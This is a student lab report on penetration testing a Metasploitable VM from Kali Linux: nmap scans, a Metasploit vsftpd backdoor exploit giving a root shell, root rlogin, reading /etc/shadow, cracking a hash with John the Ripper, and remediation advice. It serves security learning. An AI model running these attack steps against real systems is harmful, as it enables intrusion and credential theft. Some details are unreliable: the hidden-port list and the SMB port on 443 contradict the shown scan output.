

**A Ethical Hacking Project Report On**

# **Network Penetration Testing with Real-World Exploits and Security Remediation**

**Submitted to**

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SEMESTER 4<sup>th</sup> By**

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**Project objectives**

## **Introduction :**

This project is based on performing penetration testing in a controlled lab environment to simulate attacks that hackers may use to exploit real systems. Using Kali Linux as the attack platform and Metasploitable as the vulnerable target system, I explore various stages of ethical hacking including scanning, enumeration, exploitation, privilege escalation, and remediation. The purpose is to gain hands-on experience in identifying, exploiting, and mitigating vulnerabilities responsibly.

## **Abstract :**

Network penetration testing is the process of evaluating a system's network security by simulating

attacks from malicious outsiders and insiders. The goal is to find security loopholes before attackers do. It includes multiple phases:

- ❖ **Reconnaissance:** Gathering information about the target.
- ❖ **Scanning & Enumeration:** Actively probing to find open ports, services, and vulnerabilities.
- ❖ **Exploitation:** Gaining unauthorized access using known exploits.
- ❖ **Post-Exploitation:** Activities like privilege escalation or data access.
- ❖ **Remediation:** Providing security measures to patch vulnerabilities.

## Project requirements :

Two Operating System

- Kali Linux (Attacking machine)
- Metasploitable (Target Machine)

## Tools Required :

Tools	Description
Kali Linux	The attacker machine, containing pre-installed penetration testing tools.
Metasploitable	A vulnerable machine to practice attacks on.
Nmap	For network scanning, port discovery, OS detection, and service version enumeration.
Metasploit Framework	For exploiting known vulnerabilities in services running on the target.
John the Ripper	For cracking hashed passwords obtained from /etc/shadow.

## Tasks :

Network Scanning

### **Task 1: Basic Network Scan**

➤ `nmap -v 193.168.73.129`

```
Completed ARP Ping Scan at 13:33, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:33
Completed Parallel DNS resolution of 1 host. at 13:33, 13.00s elapsed
Initiating SYN Stealth Scan at 13:33
Scanning 192.168.73.129 [1000 ports]
Discovered open port 23/tcp on 192.168.73.129
Discovered open port 139/tcp on 192.168.73.129
Discovered open port 25/tcp on 192.168.73.129
Discovered open port 5900/tcp on 192.168.73.129
Discovered open port 53/tcp on 192.168.73.129
Discovered open port 3306/tcp on 192.168.73.129
Discovered open port 445/tcp on 192.168.73.129
Discovered open port 22/tcp on 192.168.73.129
Discovered open port 23/tcp on 192.168.73.129
Discovered open port 80/tcp on 192.168.73.129
Discovered open port 111/tcp on 192.168.73.129
Discovered open port 6067/tcp on 192.168.73.129
Discovered open port 513/tcp on 192.168.73.129
Discovered open port 1099/tcp on 192.168.73.129
Discovered open port 8009/tcp on 192.168.73.129
Discovered open port 6000/tcp on 192.168.73.129
Discovered open port 2121/tcp on 192.168.73.129
Discovered open port 1524/tcp on 192.168.73.129
Discovered open port 5432/tcp on 192.168.73.129
Discovered open port 8180/tcp on 192.168.73.129
Discovered open port 2049/tcp on 192.168.73.129
Discovered open port 514/tcp on 192.168.73.129
Discovered open port 512/tcp on 192.168.73.129
Completed SYN Stealth Scan at 13:33, 0.27s elapsed (1000 total ports)
Nmap scan report for 192.168.73.129
Host is up (0.0034s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6067/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
```

## Task 2 – Reconnaissance

### Task 1: Scanning for hidden Ports

nmap -v -p- 192.168.73.129

Output:

```
Discovered open port 23/tcp on 192.168.73.129
Discovered open port 53/tcp on 192.168.73.129
Discovered open port 2049/tcp on 192.168.73.129
Discovered open port 512/tcp on 192.168.73.129
Discovered open port 8009/tcp on 192.168.73.129
Discovered open port 2121/tcp on 192.168.73.129
Discovered open port 3632/tcp on 192.168.73.129
Discovered open port 60787/tcp on 192.168.73.129
Discovered open port 6000/tcp on 192.168.73.129
Discovered open port 6667/tcp on 192.168.73.129
Discovered open port 54856/tcp on 192.168.73.129
Discovered open port 56155/tcp on 192.168.73.129
Discovered open port 514/tcp on 192.168.73.129
Discovered open port 39210/tcp on 192.168.73.129
Discovered open port 1524/tcp on 192.168.73.129
Discovered open port 8180/tcp on 192.168.73.129
Discovered open port 8787/tcp on 192.168.73.129
Discovered open port 1099/tcp on 192.168.73.129
Discovered open port 513/tcp on 192.168.73.129
Discovered open port 6697/tcp on 192.168.73.129
Discovered open port 5432/tcp on 192.168.73.129
Completed SYN Stealth Scan at 13:48, 13.84s elapsed (65535 total ports)
Nmap scan report for 192.168.73.129
Host is up (0.0061s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgrsvr
39210/tcp open  unknown
54856/tcp open  unknown
56155/tcp open  unknown
60787/tcp open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 27.21 seconds
```

## Total Hidden Ports = 7

List of hidden ports

1. 8787
2. 36588
3. 53204
4. 53452
5. 59437
6. 3632
7. 6697

## Task 2: Service Version Detection

`nmap -v -sV 192.168.73.129`

Output:

```
Initiating Service scan at 14:01
Scanning 23 services on 192.168.73.129
Completed Service scan at 14:01, 36.25s elapsed (23 services on 1 host)
NSE: Script scanning 192.168.73.129.
Initiating NSE at 14:01
Completed NSE at 14:01, 8.21s elapsed
Initiating NSE at 14:01
Completed NSE at 14:02, 8.03s elapsed
Nmap scan report for 192.168.73.129
Host is up (0.0031s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.62 seconds
Raw packets sent: 1001 (44.028KB) | Rcvd: 1001 (40.120KB)
```

### Task 3: Operating System Detection

nmap -v -O 192.168.73.129

Output:

```
Discovered open port 1524/tcp on 192.168.73.129
Discovered open port 2121/tcp on 192.168.73.129
Completed SYN Stealth Scan at 14:06, 0.30s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.73.129
Nmap scan report for 192.168.73.129
Host is up (0.0027s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.024 days (since Sat May 17 13:31:11 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.94 seconds
Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.430KB)
```

### Task 3 - Enumeration

**Target IP Address – 192.168.73.129**

#### **Operating System Details -**

MAC Address: 00:0C:29:FA:DD:2A (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux\_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

**Services Version with open ports (LIST ALL THE OPEN PORTS EXCLUDING HIDDEN PORTS)**

PORT	STATE	SERVICE VERSION
21/tcp	open ftp	vsftpd 2.3.4
22/tcp	open ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	Open telnet	Linux telnetd
25/tcp	open smtp	Postfix smtpd
53/tcp	open domain	ISC BIND 9.4.2
80/tcp	open http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp	open rpcbind	2 (RPC #100000)
139/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp	open exec	netkit-rsh rexecd
513/tcp	open login	OpenBSD or Solaris rlogind
514/tcp	open tcpwrapped	
1099/tcp	open java-rmi	GNU Classpath grmiregistry
1524/tcp	open bindshell	Metasploitable root shell
2049/tcp	open nfs	2-4 (RPC #100003)
2121/tcp	open ftp	ProFTPD 1.3.1
3306/tcp	open mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	open postgresql	PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp	open vnc	VNC (protocol 3.3)
6000/tcp	open X11	(access denied)
6667/tcp	open irc	UnrealIRCd
8009/tcp	open ajp13	Apache Jserv (Protocol v1.3)
8180/tcp	open http	Apache Tomcat/Coyote JSP engine 1.1

#### Hidden Ports with Service Versions (ONLY HIDDEN PORTS)

PORT	STATE	SERVICE VERSION
8787/tcp	open drb	Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
3632/tcp	open distccd	distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
6697/tcp	open irc	UnrealIRCd
35851/tcp	open mountd	1-3 (RPC #100005)
36571/tcp	open nlockmgr	1-4 (RPC #100021)
44585/tcp	open java-rmi	GNU Classpath grmiregistry
51228/tcp	open status	1 (RPC #100024)

## 1. vsftpd 2.3.4 (Port 21 - FTP)

- msfconsole
- use exploit/unix/ftp/vsftpd\_234\_backdoor
- set RHOST 192.168.73.129
- show options
- run

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.73.129
[-] Unknown command: *set. Did you mean set? Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > *set RHOSTS 192.168.73.129
[-] Unknown command: *set. Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) set RHOSTS 192.168.73.129
RHOSTS => 192.168.73.129
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                             |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                                |
| CPORT   |                 | no       | The local client port                                                                                                                                                                                   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                            |
| RHOSTS  | 192.168.73.129  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-meta-splloit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-meta-splloit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                                   |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.73.129:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.73.129:21 - USER: 331 Please specify the password.
[*] 192.168.73.129:21 - Backdoor service has been spawned, handling...
[*] 192.168.73.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.73.128:37071 -> 192.168.73.129:6200) at 2025-05-17 14:55:33 -0400
```



## 2. SMB 3.0.20-Debian (Port 443)

- search smb version
- use auxiliary/scanner/smb/smb\_version
- show options
- set RHOSTS 192.168.73.129
- run

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.73.129
[-] Unknown command: ♦set. Did you mean set? Run the help command for more details.
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.73.129
[-] Unknown command: ♦♦set. Run the help command for more details.
msf6 auxiliary(scanner/smb/smb_version) > run

[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf6 auxiliary(scanner/smb/smb_version) > cd msf6
[-] The specified path does not exist
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.73.129
RHOSTS => 192.168.73.129
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    192.168.73.129  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     443              no        The target port (TCP)
  THREADS   1                yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.73.129:443 - SMB Detected (versions:1) (preferred dialect:0) (signatures:optional)
[*] 192.168.73.129:443 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.73.129: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

## 2. Exploiting R Services (Port 512,513,514)

- nmap -p 512,513,514 -sC -sV --script=vuln 192.168.73.129
- rlogin -l root 192.168.73.129

```
(root@kali)~#
# nmap -p 512,513,514 -sC -sV --script=vuln 192.168.73.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-17 15:55 EDT
Nmap scan report for 192.168.73.129
Host is up (0.0033s latency).

PORT      STATE SERVICE VERSION
512/tcp   open  exec    netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell   Netkit rshd
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.26 seconds

(root@kali)~#
# rlogin -l root 192.168.73.129
Last login: Sat May 17 13:27:00 EDT 2025 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~# whoami
root
root@metasploitable:~# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:~#
```

## Task 5 - Create user with root permission

- adduser anuj
- password hello123
- cat /etc/shadow
- anuj:\$1\$mGwmxosz\$rbMNChaVVFjZKyIrCH2Z20:20225:0:99999:7:::

## Task 6 - Cracking password hashes

- nano anuj\_hash

```
(kali㉿kali)-[~/Desktop]
$ nano anuj_hash

(kali㉿kali)-[~/Desktop]
$ cat anuj_hash
anuj:$1$mGwmxosz$rbMNChaVVFjZKyIrCH2Z20
```

- john anuj\_hash

```
(kali㉿kali)-[~/Desktop]
$ john anuj_hash
Created directory: /home/kali/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 94 candidates buffered for the current salt, minimum 96 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
hello123 (anuj)
1g 0:00:00:00 DONE 2/3 (2025-05-17 15:24) 12.50g/s 30500p/s 30500c/s 30500C/s Alexis..keeper
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

- john anuj\_hash --show

```
(kali㉿kali)-[~/Desktop]
$ john anuj_hash --show
anuj:hello123

1 password hash cracked, 0 left

(kali㉿kali)-[~/Desktop]
$
```

## Task 7 – Remediation

### 1. FTP Service (vsftpd)

**Current Version:** vsftpd 2.3.4

**Latest Version:** vsftpd 3.0.5 (as of 2025)

**Vulnerability:** Version 2.3.4 is affected by a backdoor vulnerability where an attacker can gain a root shell if a malicious payload is sent. This is one of the most serious vulnerabilities in vsftpd.

**CVE:**

[CVE-2011-2523](#)

Reference: <https://www.youtube.com/watch?v=G7nIWUMvn0o>

**Remediation:**

- Option 1: Upgrade to vsftpd 3.0.5
- Option 2: Disable FTP and use more secure alternatives like SFTP (via SSH)

## **2. SMB 3.0.20-Debian (Port 443)**

- **Service:** Samba SMB
- **Current Version:** 3.0.20
- **Latest Version:** Samba 4.20.1 (as of May 2025)
- **Vulnerabilities:**
  - **SMB version 3.0.20** is vulnerable to:
    - Remote Code Execution (RCE)
    - Null session attacks
    - Arbitrary file write/read
- **Common CVEs:**
  - [CVE-2007-2447](#) – Samba "username map script" command injection
  - [CVE-2017-7494](#) – Arbitrary code execution
- **Impact:** Attackers can exploit these flaws to **gain shell access, move laterally, or dump credentials**.
- **Remediation Steps:**
  - Disable SMBv1 and restrict access to trusted IPs only
  - Upgrade Samba to the **latest stable version (v4.20.1)**
  - Harden the /etc/samba/smb.conf file to disable guest access and enable logging
- **Reference:** <https://www.youtube.com/watch?v=HPP70Bx0Eck>

## **3. R Services (Ports 512 - rexec, 513 - rlogin, 514 - rsh)**

- **Services:** Rexec, Rlogin, Rsh (Legacy UNIX services)
- **Status:** Outdated, Insecure, and Deprecated

- **Vulnerabilities:**
  - Transmit credentials in plaintext
  - Vulnerable to **MITM (Man-in-the-Middle)** and **replay attacks**
  - Weak or no authentication mechanism
  - Allow unauthorized remote access if .rhosts files are misconfigured
- **CVEs:**
  - [CVE-1999-0651](https://cve.mitre.org/cve/1999/0651) – R-services allow remote attackers to access without proper authentication.
- **Impact:**
  - Any user on the network can potentially **impersonate** others and execute remote commands
- **Remediation Steps:**
  - Immediately disable the rsh, rlogin, and rexec services:
- **Reference:** <https://cve.mitre.org/cgi-bin/cvename.cgi?name=1999-0651>

## Major Learning From this project

Through this project, I learned how to create and manage users in Linux and how their details are stored in system files. I understood how passwords are saved in hashed format and how they can be cracked using tools like John the Ripper with wordlists. I also used Nmap to scan systems for open ports, detect services running on them, and check the operating system. For this, I used commands like `nmap -v` to find open ports, `nmap -sV` to find service versions, and `nmap -O` to detect the OS. I explored services like SMB and R services, identified outdated or risky ones, and understood why they should be updated or disabled. Finally, I learned how to find problems in a system and suggest fixes like updating software or using better configurations. This hands-on work helped me understand system security better.